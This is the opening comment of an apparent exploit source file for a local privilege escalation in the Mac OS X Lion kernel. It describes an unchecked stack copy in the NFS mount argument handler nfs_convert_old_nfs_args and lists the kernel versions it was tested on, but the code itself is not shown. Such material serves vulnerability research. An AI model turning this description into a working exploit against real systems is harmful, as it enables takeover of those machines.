/*
 * Apple Mac OS X Lion Kernel <=  xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
 * CVE None
 * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
 *
 *
 * Notes:
 *  This exploit leverage a stack overflow vulnerability to escalate privileges.
 *  The vulnerable function nfs_convert_old_nfs_args does not verify the size
 *  of a user-provided argument before copying it to the stack. As a result by
 *  passing a large size, a local user can overwrite the stack with arbitrary
 *  content.
 *
 * Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
 * Tested on Max OS X Lion xnu-1699.32.7  (x86_64)
 *
 *   Greets to taviso, spender, joberheide
